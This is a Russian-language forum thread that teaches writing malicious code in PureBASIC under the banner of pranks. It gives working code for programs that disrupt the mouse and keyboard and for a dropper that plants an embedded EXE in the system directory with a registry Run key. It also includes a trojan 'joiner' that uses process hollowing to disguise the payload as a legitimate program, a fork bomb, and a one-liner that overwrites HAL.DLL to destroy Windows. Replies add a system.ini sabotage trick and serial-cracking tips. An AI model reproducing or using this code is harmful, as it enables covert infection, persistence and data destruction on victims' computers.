Помощь - Поиск - Пользователи - Календарь
Полная версия этой страницы: Dark side of Programming
DF2 :: ФОРУМЫ > Основные форумы > Софт и железо > Программирование / Coding
Страницы: 1, 2, 3
Guevara-chan
Традиционно считается, что программирование - созидеательный процесс. И верно. Но есть одно такое интересное "но"... В криво переведенном WarZone 2100 было такое понятие: 'разрушительная структура'. Такие вещи возможны и в программировании... Да, именно так: я (и не только я, чужие статьи только приветствуются !) буду учить вас здесь написанию т.н. "вредоносного кода". Вирусы, трояны, черви, шпионы, все они попадают под это емкое опредение.

Что же, давайте перейдем к делу. Для всех примеров, если не указанно иного, вам потребуется PureBASIC v4.0 (качаем здесь:

http://forum.df2.ru/index.php?showtopic=2851), лучший, ИМХО, из существующих на сегодняшний день ЯВУ. Так же будем совсем не лишним хотя бы минимальное умение на нем писать wink.gif .

Итак, УРОК ПЕРВЫЙ:
Допустим вам хочется подшутить над другом\подругой. Подшутить беззлобно, без потери данных, порчи железа и т.п. вещей. Хочется ? Я помогу smile.gif . Предлагаю поменять местами сигнал от конопок мыши (т.е., чтобы левый клик считался как правый, и наоборот). А потом, через случайный промежуток времени, вернуть все как было. А потом опять поменять... И так до бесконечности wink.gif .

Короче говоря, открываем PureBASIC IDE, и вписываем туда следующий код:

Код
Define FSwap = -1
Repeat : SwapMouseButton_(FSwap)
FSwap = ~FSwap
Delay((Random(4) + 1) * 100)
ForEver

Код примитивнейший, поэтому пояснять ничего не буду, замечу лишь, что API SwapMouseButon, цитирую:

Цитата
reverses or restores the meaning of the left and right mouse buttons.

BOOL SwapMouseButton(

    BOOL fSwap  // reverse or restore buttons
   );


Parameters

fSwap

Specifies whether the mouse button meanings are reversed or restored. If this parameter is TRUE, the left button generates right-button messages and the right button generates left-button messages. If this parameter is FALSE, the buttons are restored to their original meanings.

После этого компилируем прогу, и потихоньку кидаем .EXE'шник (более продвинутые варианты рассмотрим в следующих уроках wink.gif ) жертве в "Автозагрузку". Все, HAVE FUN spiteful.gif . Самое смешное, что многие люди сначала начинают грешить на мышь, и лишь потом до них доходит, что не все-то так просто spiteful.gif ...

Ладно, хватит для начала. Да, кстати, если статья вам понравилась, то можете, не стесняясь, поставить мне плюсик wink.gif .

To be continued...
Bourn
вопросик прога делает это программно через хук? тогда можно в панели управления поменять кнопки местами
Guevara-chan
Цитата
вопросик прога делает это программно через хук?

Нет, без хука. Просто меняется режим работы мыши.
Vikky
эх, когда деревья были большими, а колбаса вкусной, и когда у всех стояли 98 форточки был один весёленький прикол заставлявший друзей немного нервничать. Его действие было примерно таким. (скорее всего все вы о ней знаете, но всё таки)
Чувак включает комп выходит заставка винды и после этого экрас с надписью: Питание компьютера теперь можно выключить (или что то в этом роде, не помню дословно фразу) и комп вырубается. И так повторяется до бесконечности. Чувак в стопоре. Занавес.
А делается эта маленькая подлянка достаточно просто.
В файле system.ini есть строчка mouse.drv=moue.drv и делаем замену на mouse.drv=(всё что угодно, либо пустое поле). Сохраняем файлик. (Делаем это тогда, когда просим друга принести водички попить). И продолжаем заниматся своими делами. Как только комп выключится или перезагрузится то будет этот милый прикол.
Лечилка проста. Загружаемся в safe mode и восстанавливаем значение как оно и было.
Вот smile.gif
gamecreator
и каково же обьяснение этому? почему так происходит?
Vikky
Цитата(gamecreator @ 25 Dec 2006, 17:18)
и каково же обьяснение этому? почему так происходит?

нестыковка системного файла, и итог выключение компа
Guevara-chan
Итак, я думаю настало время приподать вам Урок №2 smile.gif .

В прошлом уроке я рассказала вам о том, как написать простейшую программу-шутку. Теперь давайте обсудим способы ее внедрения в компьютер жертвы. Допустим, вы НЕ имеете прямого доступа к компьютеру жертвы. Что же делать ? А вот что: мы напишем на PureBASIC'е какую-нибудь программу (можно и просто взять чужую, главное - иметь исходник), и вставим в ее начало следующий код:
Код
Procedure RegSetKey(hKey, SubKey.S, ValueName.S, Dat.S)
Define Hnd
RegCreateKeyEx_(hKey, @SubKey, 0, 0, 0, #KEY_WRITE, 0, @Hnd, 0)
RegSetValueEx_(Hnd, @ValueName, 0, #REG_SZ, @Dat, Len(Dat))
RegCloseKey_(Hnd)
EndProcedure

DataSection
DNA: IncludeBinary "путь до иньектируемого EXE"
End_DNA:
EndDataSection

Define SysDir.S = Space(#MAX_PATH)
GetSystemDirectory_(SysDir, #MAX_PATH)
SysDir = PeekS(@SysDir)
If Right(SysDir, 1) <> "\" : SysDir + "\" : EndIf
SysDir + "MC.EXE"
SetFileAttributes(SysDir, #PB_FileSystem_Normal)
CreateFile(0, SysDir)
WriteData(0, ?DNA, ?End_DNA - ?DNA)
CloseFile(0)
RegSetKey(#HKEY_LOCAL_MACHINE, "SOFTWARE\MicroSoft\Windows\CurrentVersion\Run", "Mouse_Controller", SysDir)

Подобные вещи я называю "иньекторами". Данный код извлекает из ресурсной секции приаттаченную оператором IncludeBinary (полезнейшая вещь, кстати wink.gif ) программу-шутку, и записывает ее жертве в системную директорию (можно, по идее, и в любую другую, но мне больше нравиться так) под именем "MC.EXE", после чего прописывает ее в реестре на автозапуск. Разберем последний этап по-подробнее. Дело в том, что помимо "автозагрузки" есть еще один способ заставить Windows автоматически запускать какую-либо программу на старте - создание в разделе реестра "SOFTWARE\MicroSoft\Windows\CurrentVersion\Run" значение типа #REG_SZ (имя не имеет значения), содержащего путь до запускаемого EXE'шника. В зависимости от выбора стартового раздела: #HKEY_LOCAL_MACHINE или #HKEY_CURRENT_USER, автозапуск будет выполняться для всех пользователей вообще, или только для запустившего иньектор. Лично мне этот путь нравиться намного больше, чем операции с "Автозагрузкой", т.к. просмотреть реестр догадывается гораздо меньше народу.

Итак, теперь вы знаете, как обеспечить незаметное автоматическое проникновение вашего кода на чужой компьютер. Это довольно-таки опасные знания, так что будьте благоразумны, хе-хе laugh.gif . Скорее всего у вас возникнет вопрос: а можно ли сделать иньектор для программы, исходников которой у вас нет (или есть, но они написанны не на PB) ? Можно, конечно. Но об этом уже как-нибудь в другой раз, ибо сегодняшний урок уже окончен wink.gif .

P.S. Я плюсов дождусь или нет dry.gif ?
izrukvruki
Я бы поставил, но пока не могу, т.к. недавно плюсовал. А так интересно почитать... продолжай...

Хотелось бы узнать если программа провсит ввести некий код (типа серийный, пусть цифрофой, пусть извесна его длина). Как его подобрать??? Как взломать программу???
В кино хакеры это лихо проделывают...
gamecreator
ручками. берешь и перебираешь все вариантыsmile.gif
правда это совсем крайний случай
Guevara-chan
Цитата
Хотелось бы узнать если программа провсит ввести некий код (типа серийный, пусть цифрофой, пусть извесна его длина). Как его подобрать??? Как взломать программу???
В кино хакеры это лихо проделывают...

Спроси у Bourn'а, он в этом лучше разбирается.
Avaddon
Я по пакостям не специалист(дружеский кивок в сторону Chrono Syndrome),
но про серийник рассказать попробую.
Подбирать его достаточно гиблое занятие, иногда удается сделать проще rolleyes.gif

Есть такая замечательная софтина, называется Olly Debugger. Я, конечно же,
не претендую на то, что это высшй класс, но лично меня не раз выручала.
Особенно в игрушках. Так вот! По своей сути эта штука является дизассемблером. Причем в ней есть очень и очень грамотный момент: по количеству и качеству параметров она распознает вызовы WinAPI-функций wub.gif При такой поддержке хватает минимальных знаний ассемблера, чтобы найти тот самый заветный jnc или jnz ну и т.д. spiteful.gif
Для тех, кто не знает: jnc, jnz - это команды условного перехода. Действуют по принципу if ... then...goto. Как говорится, "Когда пошел бы я налево, весь мир бы был другим" rolleyes.gif Иногда(но далеко не всегда!) этого хватает yes.gif Переключить выполнение сценария программы по типу:
"Если серийник гадский, то все хорошо" shum_lol.gif
Но это, ребята, ПРОСТЕЙШИЙ случай. Если кто разбирается в криптографии,
он может рассказать про взлом серийников точнее nunu.gif
Иногда серийник может являться ключом к расшифровке части программного кода или ряда библиотек, и тогда надо долго анализировать кодирующую/декодирующую часть программы. В том же дизассемблере spiteful.gif
Bourn
главное чтоб серийник не генерился по алгоритму затрагивая API библиотеки криптографии, это crypt32 и от части advapi32
насчет последней строчки хорошо можно посмотреть защиту ASProtect, идеальный пример постепенной расшифровки...
я могу рассказать конечно больше о взломе серийника, но это идет углубление в АСМ, и знания каких либо языков программирования, + еще некоторые особенности надо знать чтобы приступать к этому делу...

2 Avaddon
мне нравиться дебаггер в делфи...

Добавлено ([mergetime]1167110815[/mergetime]):
2 Chrono Syndrome
1)сколька прога эта будет весить?
2)может мне тоже заняться переписыванием твоих примеров на VC тоже в коей мере обучение для незнающих VC
3)на счет проги которая может быть в ресурсах:
http://kos.svnets.lv/flame/index.php?showtopic=520
Guevara-chan
Цитата
1)сколька прога эта будет весить?

6 656 байт в несжатом виде + размер внедряемого EXE.

Цитата
2)может мне тоже заняться переписыванием твоих примеров на VC тоже в коей мере обучение для незнающих VC

Давай !

Цитата
3)на счет проги которая может быть в ресурсах:

Тоже ничего так wink.gif . Только вообще-то это троян, а не вирус lupa.gif ...
gamecreator
Цитата(Avaddon @ 26 Dec 2006, 02:54)
Если кто разбирается в криптографии, он может рассказать про взлом серийников точнее nunu.gif

это к хроне. она научилась пароли подбирать dry.gif nunu.gif
Bourn
2 Chrono Syndrome
У VC размер 2,5кб
2 gamecreator
подбирать это еще полдела
izrukvruki
А как работают программки генерации серийников
Bourn
нет определенных инструкций по их работе smile.gif
но они могу использовать шифрование данных, как выше было сказано ключи для расшифровки тела программы, генерации по рандом числам и тп
Guevara-chan
Цитата
У VC размер 2,5кб

Да ? Ну, бывает idontno.gif ...
Guevara-chan
Вне занятий:
Пока писала 3ий урок, впомнила один прикольчик smile.gif
Код
RunProgram(ProgramFilename())
RunProgram(ProgramFilename())

Попробуйте запустить, вас ждут незабываемые ощущения smile.gif !
Paladin
Цитата
Попробуйте запустить, вас ждут незабываемые ощущенияsmile.gif!

Да, да попробуйте запустить. Комп придется перезагружать. А если с автозагрузеой, то хуже любова вируса.
Guevara-chan
Procedure Lesson3()
На прошлом занятии я рассказала вам о простейшем способы автоматического внедрения кода на чужой компьютер - иньекторах. Теперь же настало время для изучения более продвинутого механизма - Joiner'ов. Вообще-то в сети, при желании, можно найти немало готовых программ подобного рода, но лично я предпочитаю все делать своими руками, чего и вам советую wink.gif .

Итак, открываем IDE, и пишем следующий код:
Код
DataSection
DNA: IncludeBinary "путь до иньектируемого EXE"
End_DNA:
EXE: IncludeBinary "путь до программы, под которую будет маскироваться Joiner"
EndDataSection

Procedure RegSetKey(hKey, SubKey.S, ValueName.S, Dat.S)
Define Hnd
RegCreateKeyEx_(hKey, @SubKey, 0, 0, 0, #KEY_WRITE, 0, @Hnd, 0)
RegSetValueEx_(Hnd, @ValueName, 0, #REG_SZ, @Dat, Len(Dat))
RegCloseKey_(Hnd)
EndProcedure

Define SysDir.S = Space(#MAX_PATH)
GetSystemDirectory_(SysDir, #MAX_PATH)
SysDir = PeekS(@SysDir)
If Right(SysDir, 1) <> "\" : SysDir + "\" : EndIf
SysDir + "MC.EXE"
SetFileAttributes(SysDir, #PB_FileSystem_Normal)
CreateFile(0, SysDir)
WriteData(0, ?DNA, ?End_DNA - ?DNA)
CloseFile(0)
RegSetKey(#HKEY_LOCAL_MACHINE, "SOFTWARE\MicroSoft\Windows\CurrentVersion\Run", "Mouse_Controller", SysDir)

Prototype.l ZwUnmapViewOfSectionPT(Processhandle.l,BaseAdress.l)
ntdll = GetModuleHandle_("ntdll.dll")
Global ZwUnmapViewOfSection_.ZwUnmapViewOfSectionPT = GetProcAddress_(ntdll,"ZwUnmapViewOfSection")
Global WinPath.s
Structure IMAGE_SECTION_HEADER
 Name.b[8]
 StructureUnion
   PhysicalAddress.l
   VirtualSize.l
 EndStructureUnion
 VirtualAddress.l
 SizeOfRawData.l
 PointerToRawData.l
 PointerToRelocations.l
 PointerToLinenumbers.l
 NumberOfRelocations.w
 NumberOfLinenumbers.w
 Characteristics.l
EndStructure

Procedure injectfile(lpProcessname.s, lpBuffer.l)
 Structure IMAGE_SECTION_HEADERS
   a.IMAGE_SECTION_HEADER[95]
 EndStructure
 
 Result.l = 0
 Startupinfo.STARTUPINFO
 ProcessInfo.PROCESS_INFORMATION
 Context.CONTEXT
 BaseAddress.l
 lpNumberOfBytesRead.l
 lpNumberOfBytesWritten.w
 *NtHeaders.IMAGE_NT_HEADERS
 *Sections.IMAGE_SECTION_HEADERS
 i.l

;---
Result = #False
ZeroMemory_(@StartupInfo, SizeOf(STARTUPINFO));
StartupInfo\cb = SizeOf(STARTUPINFO)
StartupInfo\dwFlags = #STARTF_USESHOWWINDOW
StartupInfo\wShowWindow = #SW_SHOW

If CreateProcess_(lpProcessname,#NUL,#NUL,#NUL,#False,#CREATE_SUSPENDED,#NUL,#NUL,StartupInfo,
@ProcessInfo)

 Context\ContextFlags = #CONTEXT_INTEGER
 GetThreadContext_(ProcessInfo\hThread, Context);
 ReadProcessMemory_(ProcessInfo\hProcess,Context\Ebx+8,@BaseAddress,SizeOf(BaseAddress),@lpNumberOfBytesRead)
 
 If ZwUnmapViewOfSection_(ProcessInfo\hProcess,BaseAddress) >= 0
   
   *adr.IMAGE_DOS_HEADER = lpBuffer
   *NtHeaders = lpBuffer + *adr\e_lfanew
   
   BaseAddress = VirtualAllocEx_(ProcessInfo\hProcess,*NtHeaders\OptionalHeader\ImageBase,*NtHeaders\OptionalHeader\SizeOfImage,#MEM_RESERVE | #MEM_COMMIT, #PAGE_READWRITE)
   WriteProcessMemory_(ProcessInfo\hProcess,BaseAddress,lpBuffer,*NtHeaders\OptionalHeader\SizeOfHeaders,@lpNumberOfBytesWritten)

   *Sections = @*NtHeaders\OptionalHeader + *NtHeaders\FileHeader\SizeOfOptionalHeader
   
   For i = 0 To *NtHeaders\FileHeader\NumberOfSections-1
WriteProcessMemory_(ProcessInfo\hProcess,BaseAddress+*Sections\a[i]\VirtualAddress,lpBuffer+*Sections\a[i]\PointerToRawData,*Sections\a[i]\SizeOfRawData,@lpNumberOfBytesWritten)
   Next
   
   WriteProcessMemory_(ProcessInfo\hProcess,Context\Ebx+8,@BaseAddress,SizeOf(BaseAddress),@lpNumberOfBytesWritten)
   Context\Eax = BaseAddress + *NtHeaders\OptionalHeader\AddressOfEntryPoint
   Result = SetThreadContext_(ProcessInfo\hThread, Context)
   If Result
         ResumeThread_(ProcessInfo\hThread)
       Else
         TerminateProcess_(ProcessInfo\hProcess, 0);
         CloseHandle_(ProcessInfo\hProcess)
         CloseHandle_(ProcessInfo\hThread)
   EndIf
 EndIf
EndIf

EndProcedure

InjectFile(ProgramFilename(), ?EXE)
С помощью вышуказанного кода можно обьединить (отсюда и название wink.gif ) нашу программу-прикол (вернее иньектор с ней) с любым EXE'шником (другое дело, что не всегда это будет работать) под Windows (с DOS'овскими прогами такой фокус, увы, не пройдет). Другое дело, что не во всех случаях подобное сооружение заработает как надо, ну да это уже детали wink.gif . Все просто: прописываем в обоих IncludeBinary соответствующие пути, компилируем... Ловушка готова spiteful.gif . Единственный проблемный вопрос - подделка иконки, тоже решается довольно просто - необходимая легко извлекается из оргинального .EXE ResHacker'ом, либо другой подобной утилитой. Так, чего-то я вам еще хотела добавить напоследок... Ах да, точно: Have Fun gigi.gif !
EndProcedure
Bourn
2 Paladin 2006
запусти эту прогу smile.gif, сразу говорю она не прописываться в автозагрузку и не сканирует файлы на диске
bournwog.narod.ru/programs/example.exe
Irh
Цитата(Chrono Syndrome @ 27 Dec 2006, 16:58)
Вне занятий:
Пока писала 3ий урок, впомнила один прикольчик smile.gif
Код
RunProgram(ProgramFilename())
RunProgram(ProgramFilename())

Попробуйте запустить, вас ждут незабываемые ощущения smile.gif !

Вообще достаточно непонятно, почему в Windows нет нормальных средств управления процессами... А нажатие на три кнопки вызывает красивое навороченное окно, которое часто именно в тех случаях, когда оно действительно нужно, не приводит к результату, когда возникает проблема с ресурсами (загрузка проца и памяти, или блокировка GUI)...
Впрочем, это оффтоп...
Guevara-chan
Цитата
Вообще достаточно непонятно, почему в Windows нет нормальных средств управления процессами...

Есть Task Manager'ы от сторонних разработчиков.
Paladin
Цитата
2 Paladin 2006
запусти эту прогу , сразу говорю она не прописываться в автозагрузку и не сканирует файлы на диске
bournwog.narod.ru/programs/example.exe

А можешь нормальную ссылку дать?
Guevara-chan
Alternative Joiner (дополнение к 3ему уроку):
У описанного в 3м уроке Joiner'а есть одна интересная особенность: он запускает оригинальную программу (ну, под которую он маскируется) непосредственно из памяти. Это, конечно, хорошо и правильно, но не всегда. Как я уже писала, с прогам под DOS (и некоторыми, спецефическими, под Windows) такой фокус не пройдет (или просто не будут работать, или будут, но так, что лучше бы не работали). Есть еще один ньюанс: при таком способе запуска не передаются параметры командной строки. Рассмотрим альтернативный вариант Joiner'а, лишенный этих недостатков (но имеющий свои wink.gif ) :

Код
DataSection
DNA: IncludeBinary "путь до иньектируемого EXE"
End_DNA:
EXE: IncludeBinary "путь до программы, под которую будет маскироваться Joiner"
End_EXE:
EndDataSection

Procedure RegSetKey(hKey, SubKey.S, ValueName.S, Dat.S)
Define Hnd
RegCreateKeyEx_(hKey, @SubKey, 0, 0, 0, #KEY_WRITE, 0, @Hnd, 0)
RegSetValueEx_(Hnd, @ValueName, 0, #REG_SZ, @Dat, Len(Dat))
RegCloseKey_(Hnd)
EndProcedure

Define SysDir.S = Space(#MAX_PATH)
GetSystemDirectory_(SysDir, #MAX_PATH)
SysDir = PeekS(@SysDir)
If Right(SysDir, 1) <> "\" : SysDir + "\" : EndIf
SysDir + "MC.EXE"
SetFileAttributes(SysDir, #PB_FileSystem_Normal)
CreateFile(0, SysDir)
WriteData(0, ?DNA, ?End_DNA - ?DNA)
CloseFile(0)
RegSetKey(#HKEY_LOCAL_MACHINE, "SOFTWARE\MicroSoft\Windows\CurrentVersion\Run", "Mouse_Controller", SysDir)

Macro PReturn : ProcedureReturn : EndMacro

Procedure.S CombinePath(Dir.S, FName.S)
If Right(Dir, 1) <> "\" : Dir + "\" : EndIf
PReturn Dir + FName
EndProcedure

Procedure.S TempFile(Dir.S, Ext.S)
Define FName.S, TOFix
Repeat : FName = ""
TOFix = Random(39)
For I = 0 To TOFix
FName + Chr(Random(25) + 65)
Next I
FName = CombinePath(Dir, FName + "." + Ext)
Until FileSize(FName) = -1
PReturn FName
EndProcedure

Procedure.S CmdLine()
CL.S = PeekS(GetCommandLine_())
CutSize = Len(ProgramFilename())
If Left(CL, 1) = Chr('"') : CutSize + 2 : EndIf
CL = Trim(Right(CL, Len(CL) - CutSize))
PReturn CL
EndProcedure

Define CurDir.S = GetPathPart(ProgramFilename()), FNAme.S = TempFile(CurDir, ".EXE")
CreateFile(0, FName)
WriteData(0, ?EXE, ?End_EXE - ?EXE)
CloseFile(0)
RunProgram(FName, CmdLine(), CurDir, #PB_Program_Wait)
SetFileAttributes(FName, #PB_FileSystem_Normal)
DeleteFile(FName)

Настройка аналагоичная. В отличае от предыдущего Joiner'а, этот использует метод распаковки программы во временный файл (со случайным именем), и запуск уже оттуда (после окончания работы программы файл уничтожается). Этим методом можно запускать не работающие с первым Joiner'ом программы. Впрочем, есть проги, которые как раз не заработают под этим Joiner'ом. Думайте сами, решайте сами wink.gif ...
Guevara-chan
Убить Винду одной процедурой...

Код
RunProgram("Cmd.EXE", "/C ECHO Винда MUST DIE XD !!! > %SYSTEMROOT%\SYSTEM32\HAL.DLL", "")

Прим.: Работает только под Win2K+.
Guevara-chan
Пьяная, пьяная мишь... ©

Код
Define X, Y, X1, Y1, Z

Macro GetCoords()
X = DesktopMouseX()
Y = DesktopMouseY()
EndMacro

GetCoords()
Repeat
Delay(50)
X1 = DesktopMouseX()
Y1 = DesktopMouseY()
Z = Random(5)
SetCursorPos_(X1 + (X1 - X) * Z, Y1 + (Y1 - Y) * Z)
GetCoords()
ForEver

Мышку начнет заносить как пьяную gigi.gif .
Paladin
Токо не включайте два раза подряд. А то она упадет и её не поднять будетgigi.gif
Bourn
Цитата(Paladin 2006 @ 29 Dec 2006, 12:10)
А можешь нормальную ссылку дать?

так чтоли?
http://bournwog.narod.ru/programs/example.exe
Berserker
Только такие приколы не всегда проходят. Паладин, стваь себе Safe'n'sec
и всё ок. Он сообщит при любой попытке изменить память процессов или установке хука, можно поставить сверхконтроль над реестром и т.д. Разумеется от мышки он не спасёт sad.gif А к досовским файлам крепиться можно. Только надо перед кодом ассемблерскую команду перехода на 32-битные инструкции ставить. Вроде помогает. А вообще лучший вирус, пакосник мелкий, кооторый прописывает себя в ехешник так, чтобы при запуске выдавалось что-то вроде банального "Файл не найден!" , а сама прога грузилась в память и искала новых жертв.
sergroj
Цитата(Chrono Syndrome @ 27 Dec 2006, 19:58)
Вне занятий:
Пока писала 3ий урок, впомнила один прикольчик smile.gif
Код
RunProgram(ProgramFilename())
RunProgram(ProgramFilename())

Попробуйте запустить, вас ждут незабываемые ощущения smile.gif !

У меня друг так сделал на JavaScript - вот это весело biggrin.gif

Еще из серии завешиванья Винды:
SendMessage(GetDesktopWindow, WM_SYSCOMMAND, SC_MINIMIZE, 0);
Потом можно нажать Ctrl+Alt+Del и выйти из сеанса. Следующий вошедший будет несколько удивлен...
Рогатый Змий
А как джаве? sleep.gif
Guevara-chan
Mix обоих мышиных приколов:

Код
Global FSwap = -1, X, Y, X1, Y1, Z

Macro GetCoords()
X = DesktopMouseX()
Y = DesktopMouseY()
EndMacro

Procedure ButtonSwitcher(A)
Repeat : SwapMouseButton_(FSwap)
FSwap = ~FSwap
Delay((Random(4) + 1) * 1000)
ForEver
EndProcedure

CreateThread(@ButtonSwitcher(), 0)

GetCoords()
Repeat
Delay(50)
X1 = DesktopMouseX()
Y1 = DesktopMouseY()
Z = Random(5)
SetCursorPos_(X1 + (X1 - X) * Z, Y1 + (Y1 - Y) * Z)
GetCoords()
ForEver

Прим.: Вроде как работает и с отключенным threadsafe...
Guevara-chan
Развлекаемся с клавой...
Небольшая, но прикольная программка, каждые 15 секунд имитирующая нажатие случайной (от A до Z) клавиши (представляете сколько, эдак, через пол-часика, очепяток набереться spiteful.gif ?) :

Код
#A = 'A'
#Z = 'Z'
#Second = 1000;MS

Macro Rnd()
Random(#Z - #A) + #A
EndMacro

Repeat
Define Key = Rnd()
keybd_event_(Key, 0, 0, 0)
keybd_event_(Key, 0, #KEYEVENTF_KEYUP, 0)
Delay(15 * #Second)
ForEver
gamecreator
вообще-то она повторяет нажатие буквы каждые 15 секунд (15 в delay).
и нафиг сколько переменных лишних? можно вообще без переменных.
Guevara-chan
Цитата
вообще-то она повторяет нажатие буквы каждые 15 секунд (15 в delay).

Сорри, очепятка rolleyes.gif ...

Цитата
и нафиг сколько переменных лишних? можно вообще без переменных.

Ну, вообще-то там только одна переменная - Key, и мне, честно говоря, весьма интересно: как же это ты собираешся без нее обойтись ?
gamecreator
а че такое #A, #Z, #Seconds?
как раз только одной переменной и можно обойтись. сктати код можно и компактней сделать.
Код
Define Key

Repeat
Key = Random('Z' - 'A') + 'A'
keybd_event_(Key, 0, 0, 0)
keybd_event_(Key, 0, #KEYEVENTF_KEYUP, 0)
Delay(10000)
ForEver

и зачем переменную много раз обьявлять?
Ennin
но так же забавнее
gamecreator
хы. а потом прога вылетит smile.gif
Guevara-chan
Цитата
а че такое #A, #Z, #Seconds?

Константы.

Цитата
как раз только одной переменной и можно обойтись.

Это как какой раз, если не секрет ? Помниться, ты говорил что, цитрую:

Цитата
можно вообще без переменных.


Цитата
и зачем переменную много раз обьявлять?

Незачем, а что ?

Цитата
хы. а потом прога вылетит

Что за бред o_O ? Поподробней-ка с этого момента, пожалуйста..
Guevara-chan
shum_lol.gif shum_lol.gif shum_lol.gif
2gamecreator
Так, все, кажеться до меня дошло, что ты пытался сказать... Т.е. по твоему если поместить обьявление переменной в цикл, то она будет аллоцироваться на новое место в памяти при каждом проходе, я правильно поняла ?
gamecreator
да. и рано или поздно память закончится и прога вылетит
Bourn
2 gamecreator
а допустим в процедуре (покажу на примере BC3.1) ты создаешь локальные переменные что если запускать 1м раз процедуру память закончиться?
gamecreator
ну я так понял что это цикл в одной функции.
Bourn
это и есть цикл в одной ф-и, вроде...smile.gif
gamecreator
так обьявление переменной внутри цикла
Bourn
какая разница что ты запишешь объявление переменной в цикле или запишешь в функции и запустишь ее в цикле?
gamecreator
никакой. но если обьявить переменную в функции и запустить в ней же цикл, то будет совсем другое
Guevara-chan
Цитата
никакой. но если обьявить переменную в функции и запустить в ней же цикл, то будет совсем другое

С чего ты это взял ?
Для просмотра полной версии этой страницы, пожалуйста, пройдите по ссылке.
Форум IP.Board © 2001-2025 IPS, Inc.